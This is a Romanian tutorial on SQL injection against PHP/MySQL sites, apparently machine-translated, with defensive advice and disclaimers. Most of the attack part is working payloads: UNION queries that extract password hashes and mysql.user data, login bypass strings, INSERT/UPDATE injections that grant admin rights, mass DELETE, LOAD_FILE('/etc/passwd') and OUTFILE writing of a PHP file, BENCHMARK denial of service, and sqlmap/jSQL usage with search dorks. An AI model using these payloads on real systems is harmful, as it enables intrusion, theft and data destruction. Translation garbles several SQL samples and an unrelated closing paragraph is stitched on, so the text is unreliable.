Injecție SQL. Ce este? Cum să aflați versiunile MySQL

Neatenția și neatenția sunt două motive pentru a scrie cod care este vulnerabil la injecțiile SQL. Al treilea motiv - ignoranța, ar trebui să încurajeze programatorul să-și aprofundeze cunoștințele sau chiar să-și schimbe profesia.

injecție SQL ( injecție SQL) - vulnerabilitate care apare din cauza verificării și prelucrării insuficiente a datelor, care sunt transmise de la utilizator și vă permite să modificați și să executați interogări neașteptate de codul programului SQL.

Injecția SQL este un defect de securitate larg răspândit pe Internet, care este ușor de exploatat fără programe speciale și nu necesită cunoștințe tehnice extinse. Exploatarea acestei vulnerabilități deschide ușa către oportunități mari, cum ar fi:

  • furtul de date - 80%;
  • refuzul serviciului - 10 la sută;
  • înlocuirea sau distrugerea datelor - 2-3%;
  • alte cazuri și intenții.

Există, de asemenea, diverse programe pentru testarea securității site-ului web pentru toate tipurile de injecții JS și SQL.

Explicatie detaliata

În acest articol voi încerca să explic principalele riscuri care apar atunci când interacționez cu baza de date MySQL. Pentru claritate, voi da un exemplu de structură simplă a bazei de date, care este tipică pentru majoritatea proiectelor:

CREAȚI BAZĂ DE DATE `știri`; UTILIZAȚI `știri`; # # tabel de știri # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id` )) TYPE=MyISAM; # # adăugați câteva date # INSERT `news` SET `id`="1", `title`="prima știre", `date`="2005-06-25 16:50:20", `text`=" text de știri”; INSERT `news` SET `id`="2", `title`="a doua știre", `date`="2005-06-24 12:12:33", `text`="test știri"; # # tabel de utilizatori # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `parola` varchar(50) default NULL, `admin` int(1) NULL IMPLICIT „0”, CHEIE PRIMARĂ (`id`)) TYPE=MyISAM; # # adăugați mai mulți utilizatori, unul cu drepturi de administrator, celălalt simplu # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 " ; INSERT `users` SET `id`="2", `login`="user", `parola`="1111", `admin`="0";

Vedem că cererea este generată în funcție de valoarea lui $_GET[„id”]. Pentru a verifica o vulnerabilitate, este suficient să o schimbați la o valoare care poate provoca o eroare la executarea interogării SQL.

Desigur, este posibil să nu existe nicio ieșire de eroare, dar acest lucru nu înseamnă că nu există nicio eroare, ca urmare

„Aveți o eroare în sintaxa dvs. SQL; verificați manualul care corespunde versiunii serverului dvs. MySQL pentru sintaxa corectă de utilizat lângă """ la linia 1"

sau rezultat

http://test.com/index.php?id=2-1

dacă există o vulnerabilitate, aceasta ar trebui să producă un rezultat similar cu

http://test.com/index.php?id=1.

Vulnerabilitati similare vă permit să modificați cerereaîn partea de parametru WHERE. Primul lucru pe care îl va face un atacator atunci când este descoperită o astfel de vulnerabilitate este să examineze câte câmpuri sunt folosite în cerere. Pentru a face acest lucru, un ID în mod deliberat incorect este setat pentru a exclude ieșirea de informații reale și este combinat cu o solicitare cu același număr de câmpuri goale.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

numărul de „nule” trebuie să corespundă cu numărul de câmpuri care sunt utilizate în cerere.

Dacă interogarea aruncă o eroare, se adaugă o altă valoare goală până când eroarea dispare și este returnat un rezultat cu date goale. În continuare, câmpurile combinate sunt înlocuite cu valori care pot fi observate vizual pe pagină.

De exemplu:

http://test.com/index.php?id=-1+UNION+SELECT+null

Acum, pe pagina unde ar fi trebuit să fie afișat titlul știrilor, va apărea qwerty.

Cum pot afla versiunile MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Cum se recuperează datele de conectare ale utilizatorului curent al bazei de date?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Care este numele bazei de date utilizate?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Cum să obțineți alte date din alte tabele?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `parola`, null, null FROM `users` WHERE `id`="1";

Aceasta este o modalitate simplă de a afla parola sau hash-ul parolei administratorului. Dacă utilizatorul actual are drepturi de acces la baza de date „mysql”, atacatorul va primi hash-ul parolei administratorului fără cea mai mică problemă.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Acum selecția lui este doar o chestiune de timp.

Căutare

Căutarea este unul dintre cele mai vulnerabile locuri, deoarece un număr mare de parametri de interogare sunt transmise simultan. Un exemplu de interogare simplă care caută după cuvânt cheie:

SELECTAȚI * FROM `news` WHERE `title` LIKE "%$search%" SAU `text` LIKE "%$search%"

$search este cuvântul care este trimis din formular. Un atacator poate trece $search="# în variabilă, acum cererea va arăta astfel:

SELECTAȚI * FROM `news` WHERE `title` LIKE "%"#%" SAU `text` LIKE "%"#%";

În consecință, în loc de rezultatele căutării pentru cuvântul cheie, vor fi afișate toate datele. Acest lucru vă permite, de asemenea, să utilizați caracteristica de agregare a interogărilor descrisă mai sus.

Folosind parametrul ORDER

Puteți observa adesea că atunci când introduceți parametrii de căutare sau afișați informații, aceștia permit utilizatorului să sorteze datele după anumite câmpuri. Voi spune imediat că utilizarea acestei vulnerabilități nu este prea periculoasă, deoarece va provoca o eroare atunci când se încearcă combinarea cererilor, dar în combinație cu vulnerabilități din alte domenii, există pericolul de a comenta acest parametru.

http://test.com/index.php?sort=name

parametrul ORDER se formeaza in functie de variabila $sort

Va fi generată următoarea cerere:

SELECTAȚI * DIN `news` WHERE `title` LIKE "%"/*%" SAU `text` LIKE "%"/*%" ORDER BY */

comentând astfel una dintre condiții și parametrul ORDER

Acum puteți combina din nou interogarea atribuind $sort=*/ UNION SELECT...

Ca o opțiune de exploatare a vulnerabilității acestui parametru:

SELECTAȚI * FROM `utilizatori` ORDER BY LENGTH(parolă);

Vă va permite să sortați utilizatorii în funcție de lungimea parolei, cu condiția ca aceasta să fie salvată într-o formă „pură”.

Autorizare

Să încercăm acum să luăm în considerare opțiunile pentru injecțiile SQL care apar în timpul autorizării utilizatorului. De obicei, cererea care verifică corectitudinea datelor de autorizare arată astfel:

SELECTAȚI * FROM `users` WHERE `login`="$login" AND `parola`="$parolă";

unde $login și $parolă sunt variabile care sunt transmise din formular. O astfel de interogare returnează date pentru utilizator dacă are succes și un rezultat gol dacă nu are succes. În consecință, pentru a trece autorizarea, un atacator trebuie doar să modifice cererea, astfel încât să returneze un rezultat diferit de zero. Este specificată o autentificare care corespunde unui utilizator real și, în loc de parolă, " SAU "1"="1" sau o condiție adevărată (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 ÎNTRE 1 ȘI 3). În consecință, cererea va fi generată după cum urmează:

SELECTAȚI * FROM `users` WHERE `login`="admin" AND `parola`="" SAU "1"="1";

care va returna rezultatul și, ca urmare, va duce la autorizare neautorizată. Ce se întâmplă dacă parolele din tabel sunt hashing? Apoi, verificarea parolei este pur și simplu „dezactivată”, comentând tot ce vine după `login`. În formular, în loc de autentificare, este atribuită autentificarea utilizatorului real și „#, comentând astfel verificarea parolei.

SELECTAȚI * FROM `users` WHERE `login`="admin"#" AND `parola`="12345"

ca opțiune „SAU `id`=2#

SELECTAȚI * FROM `users` WHERE `login`="" SAU `id`=2#" ȘI `parolă`="12345"

SELECTAȚI * FROM `users` WHERE `login`="" SAU `admin`="1"#" ȘI `parolă`="12345"

O mare greșeală este să verifici parola astfel:

SELECTAȚI * FROM `users` WHERE `login`="$login" ȘI `parolă` LIKE "$parolă"

deoarece în acest caz parola % este potrivită pentru orice logare

INSERT & UPDATE

Cu toate acestea, nu numai SELECT-urile sunt un punct slab în SQL. INSERT și UPDATE nu pot fi mai puțin vulnerabile. Să presupunem că site-ul are capacitatea de a înregistra utilizatori. Interogare care adaugă un utilizator nou:

O vulnerabilitate într-unul dintre câmpuri permite modificarea cererii cu datele necesare. În câmpul de conectare adăugăm utilizator, „parolă”, 1)# adăugând astfel un utilizator cu drepturi de administrator.

INSERT `users` SET `login`="utilizator", `parolă`="parolă", `admin`="0";

Să presupunem că câmpul `admin` este situat înaintea câmpului `login`, deci trucul de a înlocui datele care vin după câmpul `login` nu funcționează. Să ne amintim că sintaxa comenzii INSERT vă permite să adăugați nu numai o linie, ci mai multe. Un exemplu de vulnerabilitate în câmpul de conectare: $login= user”, „parolă”), (1, „hacker”, „parolă”)#

INSERT INTO `users` SET (`admin`, `login`, `parola`) VALORI (0, "utilizator", "parolă"), (1, "hacker", "parolă")#", "parolă") ;

Se creează astfel 2 intrări, una cu drepturi de utilizator simplu, cealaltă cu drepturile de administrator dorite.

O situație similară cu UPDATE

Adăugarea de câmpuri suplimentare pentru modificare:

$login=", `parolă`="", `admin`="1

Apoi o cerere similară

UPDATE `users` SET `login`="ceainic" WHERE `id`=2;

Modificat după cum urmează:

UPDATE `users` SET `login`="", `parola`="", `admin`="1" WHERE `id`=2;

Ce se va intampla? Utilizatorul cu ID 2 va schimba autentificarea și parola în valori goale și va primi drepturi de administrator. Sau în caz

$login=", `parolă`="" WHERE `id` =1#

Autentificarea și parola de administrator vor fi goale.

ȘTERGE

Totul este simplu aici, nu veți putea obține sau modifica date, dar sunteți întotdeauna binevenit să ștergeți datele inutile.

$id=1 SAU 1=1

DELETE FROM `news` WHERE `id`="1" SAU 1=1; // șterge toate intrările din tabel.

În loc de 1=1 poate exista orice condiție adevărată menționată mai sus. Parametrul LIMIT poate fi salvat, ceea ce va limita numărul de linii șterse, dar nu întotdeauna, poate fi pur și simplu comentat.

DELETE FROM `news` WHERE `id`="1" SAU 1=1# LIMIT 1;

Lucrul cu fișiere prin injecție SQL

Mă îndoiesc serios că acest lucru se poate întâmpla oriunde, dar pentru a fi corect, trebuie descrise și astfel de metode. Când privilegiile de fișiere sunt activate, puteți utiliza comenzile LOAD_FILE și OUTFILE.

Pericolul lor poate fi apreciat din întrebările de mai jos:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Dar toate necazurile nu se termină aici încă.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` în fișierul de ieșire "/home/test/www/test.php";

Așa scriem un fișier care conține cod PHP. Adevărat, pe lângă cod, vor mai fi câteva intrări nule în el, dar acest lucru nu va afecta în niciun fel performanța codului PHP. Cu toate acestea, există mai multe condiții datorită cărora aceste metode vor funcționa:

  • Privilegiul FILE este activat pentru utilizatorul curent al bazei de date;
  • Drepturile de a citi sau scrie aceste fișiere sunt pentru utilizatorul sub care rulează serverul MySQL; calea absolută către fișier;
  • o condiție mai puțin importantă este ca dimensiunea fișierului să fie mai mică decât max_allowed_packet, dar deoarece în MySQL 3.23 cea mai mare dimensiune a pachetului poate fi de 16 MB, iar în 4.0.1 și mai mult, dimensiunea pachetului este limitată doar de cantitatea de memorie disponibilă, până la un maxim teoretic de 2 GB, această condiție este întotdeauna disponibilă.

Citate magice

Ghilimele magice fac imposibilă utilizarea injecțiilor SQL în variabilele șir, deoarece ele scapă automat toate „ și ” care vin cu $_GET și $_POST. Dar acest lucru nu se aplică utilizării vulnerabilităților în parametri întregi sau fracționari, deși cu excepția faptului că nu va fi posibil să se utilizeze „. În acest caz, funcția char ajută.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS prin injecție SQL.

Aproape că am uitat să spun, iar experții SQL vor confirma, că operațiunea UNION este posibilă doar în MySQL >=4.0.0. Oamenii care au proiecte pe versiunile anterioare au răsuflat uşuraţi :) Dar nu totul este atât de sigur pe cât pare la prima vedere. Logica atacatorului este uneori dificil de urmat. „Dacă nu pot pirata, cel puțin voi eșua”, va gândi hackerul, tastând funcția BENCHMARK pentru un exemplu de solicitare

SELECTAȚI * DIN `știri` WHERE `id`=BENCHMARK(1000000,MD5(ACUM()));

Mi-a luat de la 12 la 15 secunde. Adăugarea unui zero - 174 de secunde. Pur și simplu nu puteam ridica mâna ca să fac mai mult. Desigur, pe servere puternice astfel de lucruri se vor face mult mai repede, dar...BENCHMARK vă permite să vă investiți unul câte unul. Ca aceasta:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(ACUM())));

Sau chiar așa

SELECTAȚI * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(ACUM()))));

Iar numărul de zerouri este limitat doar de „bunătatea” celui care le tasează.

Cred că nici măcar o mașină FOARTE puternică nu va putea înghiți ușor astfel de solicitări.

Concluzie

Asta e tot. În acest articol, am încercat să acopăr cât mai mult posibil tipurile de vulnerabilități pe care programatorii le fac atunci când creează programe folosind baze de date MySQL. Cu toate acestea, sunt mai mult decât sigur că aceasta nu este o listă completă.

Este important să ne amintim regulile împotriva injecțiilor SQL

  • Nu aveți încredere în NICIO date care provin de la utilizator. Nu vorbim doar despre datele care sunt transferate în matricele $_GET și $_POST. Nu uitați de $_COOKIE și alte părți ale antetelor HTTP. Trebuie să vă amintiți că sunt ușor de înlocuit.
  • Nu ar trebui să vă bazați pe opțiunea PHP „ghilimele magice”, care probabil împiedică mai mult decât ajută. Toate datele care sunt transferate în baza de date trebuie rezumate după tip cu câmpuri ale bazei de date. ($id=(int)$_GET["id"]) sau protejat de funcțiile mysql_real_escape_string sau mysql_real_escape_string.
  • mysql_real_escape_string nu scapă % și _, deci nu ar trebui să fie folosit împreună cu LIKE.
  • Nici nu ar trebui să te bazezi prea mult pe un mod_rewrite scris corect. Acestea sunt doar modalități de a crea URL-uri „conveniente”, dar cu siguranță nu o modalitate de a vă proteja împotriva injecțiilor SQL.
  • Dezactivați raportarea erorilor.
  • Nu ajuta vizitatorii răi. Chiar dacă eroarea este identificată, lipsa de informații despre aceasta va împiedica serios aplicarea acesteia. Amintiți-vă diferența dintre etapa de dezvoltare și proiectul de lucru. Ieșire eroareși alte informații detaliate – aliatul tău în stadiul de dezvoltare și aliatul atacatoruluiîn versiune de lucru. De asemenea, nu ar trebui să le ascundeți comentând în codul HTML; pentru fiecare 1000 de vizitatori va fi 1 care va găsi în continuare astfel de lucruri.
  • Gestionați erorile.
  • Scrieți interogările SQL de procesare în așa fel încât informațiile despre acestea să fie stocate în unele jurnale sau trimise prin poștă.
  • Nu stocați datele de acces la baza de date în fișiere care nu sunt procesate de PHP ca cod.
  • Nu cred că am descoperit America nimănui, dar din propria mea experiență pot spune că această practică este destul de comună. De obicei, acesta este un fișier cu extensia *.inc
  • Nu creați o bază de date „super utilizator”.
  • Acordați numai drepturile necesare îndeplinirii sarcinilor specifice.
  • În căutare, merită să limitați numărul minim și maxim de caractere, care sunt parametrii de interogare.
  • Pentru un utilizator onest, de la 3 la 60-70 de caractere sunt suficiente pentru a-și satisface interesele de căutare și, în același timp, previi situațiile în care interogarea de căutare va fi volumul „Război și pace”.
  • Verificați întotdeauna numărul de înregistrări returnate după o interogare

Aproape 90% dintre site-uri scrise în PHP Există o astfel de eroare logică, aceasta poate fi observată mai ales atunci când se face o solicitare pe baza ID-ului primit de la utilizator Dacă dați manual scriptului un ID inexistent, vom vedea rezultate destul de interesante din munca unor scripturi , în loc să returneze 404, programul nu va face nimic și va afișa o pagină goală.

SQL sigur pentru tine.

Numărul de site-uri și pagini de pe Internet este în creștere constantă. Toți cei care pot își asumă dezvoltarea. Și programatorii web începători folosesc foarte des cod nesigur și vechi. Și acest lucru creează o mulțime de lacune pentru atacatori și hackeri. Ceea ce folosesc ei. Una dintre cele mai clasice vulnerabilități este injecția SQL.

Puțină teorie

Mulți oameni știu că majoritatea site-urilor și serviciilor de pe Internet folosesc baze de date SQL pentru a le stoca. Acesta este un limbaj de interogare structurat care vă permite să gestionați și să administrați depozitele de date. Există multe versiuni diferite de sisteme de gestionare a bazelor de date - Oracle, MySQL, Postgre. Indiferent de nume și tip, ei folosesc interogări de date în același mod. Aici se află potențiala vulnerabilitate. Dacă dezvoltatorul nu a reușit să proceseze corect și în siguranță cererea, atunci un atacator poate profita de acest lucru și poate folosi tactici speciale pentru a obține acces la baza de date și, de acolo, poate controla întregul site.

Pentru a evita astfel de situații, trebuie să optimizați corect codul și să monitorizați cu atenție ce cerere este procesată în ce mod.

Verificarea injectărilor SQL

Pentru a determina prezența vulnerabilităților în rețea, există o mulțime de sisteme software automatizate gata făcute. Dar puteți efectua o verificare simplă manual. Pentru a face acest lucru, trebuie să accesați unul dintre site-urile pe care le căutați și să încercați să declanșați o eroare a bazei de date în bara de adrese. De exemplu, un script de pe un site web poate să nu proceseze solicitările și să nu le întrerupă.

De exemplu, există un anumit_site/index.php?id=25

Cel mai simplu mod este să pui o ofertă după 25 și să trimiți o cerere. Dacă nu apare nicio eroare, atunci fie toate solicitările sunt filtrate pe site și procesate corect, fie ieșirea lor este dezactivată în setări. Dacă pagina sa reîncărcat cu probleme, înseamnă că există o vulnerabilitate pentru injectarea SQL.

Odată ce este detectat, puteți încerca să scăpați de el.

Pentru a implementa această vulnerabilitate, trebuie să știți puțin despre Unul dintre ele este UNION. Combină mai multe rezultate de interogare într-unul singur. În acest fel puteți calcula numărul de câmpuri din tabel. Un exemplu al primei cereri arată astfel:

  • some_site/index.php?id=25 UNION SELECT 1.

În cele mai multe cazuri, o astfel de intrare ar trebui să genereze o eroare. Aceasta înseamnă că numărul de câmpuri nu este egal cu 1. Astfel, selectând opțiuni de la 1 și mai multe, puteți seta numărul exact al acestora:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

Adică, atunci când eroarea nu mai apare, înseamnă că numărul de câmpuri este corect.

Există, de asemenea, o soluție alternativă la această problemă. De exemplu, când numărul de câmpuri este mare - 30, 60 sau 100. Aceasta este comanda GROUP BY. Grupează rezultatele interogării după o anumită caracteristică, de exemplu id:

  • some_site/index.php?id=25 GROUP BY 5.

Dacă nu s-au primit erori, înseamnă că există mai mult de 5 câmpuri, astfel, înlocuind opțiuni dintr-o gamă destul de largă, puteți calcula câte sunt cu adevărat.

Acest exemplu de injecție SQL este pentru începătorii care doresc să își încerce mâna la testarea site-ului lor. Este important de reținut că există un articol din Codul penal pentru accesul neautorizat la proprietatea altcuiva.

Principalele tipuri de injecții

Există mai multe opțiuni pentru implementarea vulnerabilităților prin injecție SQL. Următoarele sunt cele mai populare metode:

    injectie UNION. Un exemplu simplu de acest tip a fost deja discutat mai sus. Este implementat din cauza unei erori la verificarea datelor primite, care nu este filtrată în niciun fel.

    Injecție SQL bazată pe erori. După cum sugerează și numele, acest tip exploatează și erorile prin trimiterea de expresii care sunt incorecte din punct de vedere sintactic. Apoi, anteturile de răspuns sunt interceptate, analizându-se care pot fi utilizate ulterior pentru a efectua o injecție SQL.

    Injecție stivuită. Această vulnerabilitate este determinată de executarea cererilor secvențiale. Se caracterizează prin adăugarea unui „;” la sfârșit. Această abordare este cel mai adesea implementată pentru a accesa implementarea de citire și scriere a datelor sau pentru a controla funcțiile sistemului de operare dacă privilegiile permit acest lucru.

Sisteme software pentru căutarea vulnerabilităților SQL

Disponibil pentru efectuarea de injecții SQL, programele au de obicei două componente - scanarea unui site pentru posibile vulnerabilități și utilizarea acestora pentru a obține acces la date. Există astfel de utilități pentru aproape toate platformele cunoscute. Funcționalitatea lor facilitează foarte mult verificarea unui site pentru posibilitatea de hacking cu injecție SQL.

Sqlmap

Un scaner foarte puternic care funcționează cu cele mai cunoscute SGBD-uri. Suporta diverse tehnici de injectare SQL. Are capacitatea de a recunoaște automat tipul de hash al parolei și de a o sparge folosind un dicționar. Există, de asemenea, funcționalitate pentru descărcarea și încărcarea fișierelor de pe server.

Instalarea într-un mediu Linux se realizează folosind comenzile:

  • clona git https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

Pentru Windows există atât o linie de comandă, cât și o opțiune de interfață grafică cu utilizatorul.

Injecție jSQL

jSQL Injection este un instrument multiplatform pentru testarea exploatării vulnerabilităților SQL. Scris în Java, deci JRE trebuie instalat pe sistem. Capabil să proceseze antet și solicitări cookie. Are o interfață grafică convenabilă.

Instalarea acestui pachet software se desfășoară după cum urmează:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| cap-n 1`

Lansați folosind comanda java -jar ./jsql-injection-v*.jar

Pentru a începe verificarea unui site pentru vulnerabilități SQL, trebuie să introduceți adresa acestuia în câmpul de sus. Sunt separate pentru GET și pentru POST. Dacă rezultatul este pozitiv, în fereastra din stânga va apărea o listă cu tabele disponibile. Le puteți vizualiza și afla câteva informații confidențiale.

Pentru a căuta panouri administrative, utilizați fila „Pagină de administrare”. Acesta caută automat înregistrările de sistem ale utilizatorilor privilegiați folosind șabloane speciale. De la ei puteți obține doar un hash de parolă. Dar este disponibil și în instrumentele programului.

După găsirea tuturor vulnerabilităților și injectarea solicitărilor necesare, utilitarul vă va permite să vă încărcați fișierul pe server sau, dimpotrivă, să îl descărcați de acolo.

SQLi Dumper v.7

Acest program este un instrument ușor de utilizat pentru găsirea și implementarea vulnerabilităților în SQL. ONU produce acest lucru pe baza așa-zișilor idioți. Listele lor pot fi găsite pe internet. Cuvintele cheie de injectare SQL sunt modele speciale de interogare de căutare. Cu ajutorul lor, le puteți găsi prin orice motor de căutare.

Instrumente de instruire

Site-ul itsecgames.com are un set special de instrumente care vă permite să folosiți exemple pentru a arăta cum să faceți o injecție SQL și să o testați. Pentru a-l folosi, trebuie să îl descărcați și să îl instalați. Arhiva conține un set de fișiere care reprezintă structura site-ului. Pentru a-l instala, veți avea nevoie de un set de servere web Apache, MySQL și PHP disponibile în sistem.

După despachetarea arhivei în folderul serverului web, trebuie să mergeți la adresa introdusă la instalarea acestui produs software. Se va deschide pagina de înregistrare a utilizatorului. Aici trebuie să introduceți datele și să faceți clic pe „Creați”. După ce a transferat utilizatorul într-o nouă fereastră, sistemul va oferi să selecteze una dintre opțiunile de testare. Printre acestea se numără atât injecțiile descrise, cât și multe alte sarcini de testare.

Merită să priviți un exemplu de injecție SQL precum GET/Search. Aici trebuie să-l selectați și să faceți clic pe „Hack”. Utilizatorului i se va prezenta o bară de căutare și o imitație a unui anumit site cu filme. Puteți trece prin filme pentru o lungă perioadă de timp. Dar sunt doar 10. De exemplu, poți încerca să intri în Iron Man. Filmul va fi afișat, ceea ce înseamnă că site-ul funcționează și există tabele în el. Acum trebuie să verificăm dacă scriptul filtrează caracterele speciale, în special citatul. Pentru a face acest lucru, trebuie să adăugați "" în bara de adrese. Mai mult, acest lucru trebuie făcut după numele filmului. Site-ul va afișa eroarea Eroare: aveți o eroare în sintaxa dvs. SQL; verificați manualul care corespunde la versiunea serverului dvs. MySQL pentru a utiliza sintaxa corectă lângă „%” la linia 1, ceea ce indică faptul că caracterele sunt încă procesate incorect. Aceasta înseamnă că puteți încerca să vă înlocuiți solicitarea. Dar mai întâi trebuie să calculați numărul de câmpuri. Pentru a face acest lucru, utilizați order by, care este introdus după citat: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

Această comandă va afișa pur și simplu informații despre film, adică numărul de câmpuri este mai mare de 2. Cratima dublă spune serverului că alte solicitări ar trebui să fie eliminate. Acum trebuie să repetați, înlocuind valori din ce în ce mai mari până când se afișează o eroare. Ca urmare, se dovedește că vor fi 7 câmpuri.

Acum este timpul să obțineți ceva util din baza de date. Va trebui să modificați ușor solicitarea din bara de adrese, aducând-o la acest formular: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4 ,parola,6, 7 de la utilizatori --&action=search. Ca urmare a executării acesteia, vor fi afișate linii cu hash-uri de parolă, care pot fi ușor convertite în caractere de înțeles folosind unul dintre serviciile online. Și cu puțină magie și selectând numele câmpului de conectare, puteți obține acces la înregistrarea altcuiva, de exemplu, administratorul site-ului.

Produsul are o mulțime de tipuri de injecție diferite pentru a practica. Merită să ne amintim că utilizarea acestor abilități online sau pe site-uri reale poate fi pedepsită penal.

Injecții și PHP

De regulă, codul PHP este responsabil pentru procesarea necesară a solicitărilor venite de la utilizator. Prin urmare, la acest nivel trebuie să construiți protecție împotriva injecțiilor SQL în PHP.

  • Datele trebuie întotdeauna prelucrate înainte de a fi stocate în baza de date. Acest lucru poate fi realizat fie prin utilizarea expresiilor existente, fie prin organizarea manuală a interogărilor. Și aici, merită luat în considerare faptul că valorile numerice sunt convertite la tipul necesar;
  • Evitați apariția diferitelor structuri de control în cerere.

Acum câteva detalii despre regulile de compunere a interogărilor în MySQL pentru a vă proteja împotriva injecțiilor SQL.

Când scrieți orice expresii de interogare, este important să separați datele de cuvintele cheie SQL.

  • SELECT * FROM table WHERE nume = Zerg.

În acest design, sistemul poate crede că Zerg este numele unui câmp, așa că trebuie să fie inclus între ghilimele.

  • SELECT * FROM table WHERE nume = "Zerg".

Cu toate acestea, există situații în care valoarea în sine conține ghilimele.

  • SELECT * FROM table WHERE nume = "Coasta de Fildeș".

Aici doar o parte din cat-d va fi procesată, iar restul poate fi perceput ca o comandă, care, desigur, nu există. Prin urmare, va apărea o eroare. Aceasta înseamnă că acest tip de date trebuie verificate. Pentru a face acest lucru, utilizați bara oblică inversă - \.

  • SELECT * FROM table WHERE nume = "Coasta de Fildeș".

Toate cele de mai sus se aplică șirurilor. Dacă acțiunea are loc cu un număr, atunci nu are nevoie de ghilimele sau barele oblice. Cu toate acestea, acestea trebuie forțate să fie convertite la tipul de date necesar.

Există o recomandare ca numele câmpului să fie inclus într-o ghilimă inversă. Acest simbol este situat în partea stângă a tastaturii, împreună cu semnul tilde „~”. Acest lucru este necesar pentru ca MySQL să poată distinge cu precizie numele câmpului de cuvântul său cheie.

Lucru dinamic cu date

Foarte des, interogările generate dinamic sunt folosite pentru a obține orice date din baza de date. De exemplu:

  • SELECT * FROM tabelul WHERE număr = „$număr”.

Aici variabila $number este transmisă ca definiție a valorii câmpului. Ce se va întâmpla dacă Coasta de Fildeș va intra în ea?

Desigur, puteți evita această problemă activând „ghilimele magice” în setări. Dar acum datele vor fi verificate acolo unde este necesar și acolo unde nu este necesar. În plus, dacă codul este scris de mână, atunci puteți petrece puțin mai mult timp creând singur un sistem rezistent la hack-uri.

Pentru a adăuga o bară oblică, puteți folosi mysql_real_escape_string.

$numar=mysql_real_escape_string($numar);

$an=mysql_real_escape_string($an);

$query="INSERT INTO table (număr, an, clasă) VALUES ("$număr","$an",11)".

Deși codul a crescut în volum, va funcționa în continuare mult mai sigur.

Substituenți

Substituenții sunt marcatori unici prin care sistemul știe că în acest loc trebuie introdusă o funcție specială. De exemplu:

$sate = $mysqli->prepare("SELECTARE District FROM Number WHERE Nume=?");

$sate->bind_param("s", $numar);

$sate->execute();

Această secțiune de cod pregătește un șablon de cerere, apoi leagă variabila numerică și o execută. Această abordare vă permite să separați procesarea cererilor și implementarea acesteia. În acest fel, vă puteți proteja de utilizarea injectării de cod rău intenționat în interogările SQL.

Ce poate face un atacator?

Protecția sistemului este un factor foarte important care nu poate fi neglijat. Desigur, un site web simplu pentru cărți de vizită va fi mai ușor de restaurat. Ce se întâmplă dacă este un portal, un serviciu, un forum mare? Ce consecințe pot fi dacă nu te gândești la siguranță?

În primul rând, un hacker poate încălca atât integritatea bazei de date, cât și o poate șterge complet. Și dacă administratorul site-ului sau hosterul nu a făcut o copie de rezervă, atunci va fi greu. În plus, un atacator, după ce a spart un site, se poate muta pe altele găzduite pe același server.

Urmează furtul datelor personale ale vizitatorilor. Modul de utilizare a acestora este limitat doar de imaginația hackerului. Dar, în orice caz, consecințele nu vor fi prea plăcute. Mai ales dacă conținea informații financiare.

Un atacator poate, de asemenea, să-și scurgă baza de date și apoi să stoarcă bani pentru returnarea acesteia.

Dezinformarea utilizatorilor în numele unei persoane care nu este ei poate avea și consecințe negative, deoarece sunt posibile cazuri de fraudă.

Concluzie

Toate informațiile din acest articol sunt furnizate doar în scop informativ. Ar trebui să-l utilizați doar pentru testarea propriilor proiecte atunci când identificați vulnerabilități și le eliminați.

Pentru un studiu mai aprofundat al metodologiei de a efectua o injecție SQL, trebuie să începeți prin a cerceta efectiv capacitățile și caracteristicile limbajului SQL. Cum sunt compuse interogările, cuvintele cheie, tipurile de date și aplicarea tuturor acestora.

De asemenea, nu puteți face fără a înțelege cum funcționează funcțiile PHP și elementele HTML. Principalele puncte vulnerabile pentru utilizarea injecțiilor sunt bara de adrese, căutarea și diverse câmpuri. Studierea funcțiilor PHP, a modului în care sunt implementate și a capabilităților lor vă va ajuta să înțelegeți cum puteți evita greșelile.

Prezența multor instrumente software gata făcute vă permite să efectuați o analiză aprofundată a site-ului pentru vulnerabilități cunoscute. Unul dintre cele mai populare produse este kali linux. Aceasta este o imagine a unui sistem de operare bazat pe Linux, care conține un număr mare de utilități și programe care pot efectua o analiză cuprinzătoare a site-ului pentru putere.

De ce trebuie să știi cum să spargi un site web? Totul este foarte simplu - acest lucru este necesar pentru a avea o idee despre zonele potențial vulnerabile ale proiectului sau site-ului dvs. Mai ales dacă acesta este un magazin online cu posibilitatea de a plăti online, unde datele de plată ale utilizatorului pot fi compromise de un atacator.

Pentru cercetare profesională, serviciile de securitate a informațiilor vor putea verifica site-ul după diferite criterii și profunzime. Pornind de la simpla injecție HTML la inginerie socială și phishing.

Vă dorim succes în finalizarea acestuia. Rezultatele pasajului dumneavoastră vor fi publicate ulterior (urmăriți știrile pe rețelele de socializare), iar tuturor celor care au trecut vor primi și un a invita sa te inregistrezi pe site.

Like, distribuie prietenilor și colegilor, repostează pe rețelele de socializare.

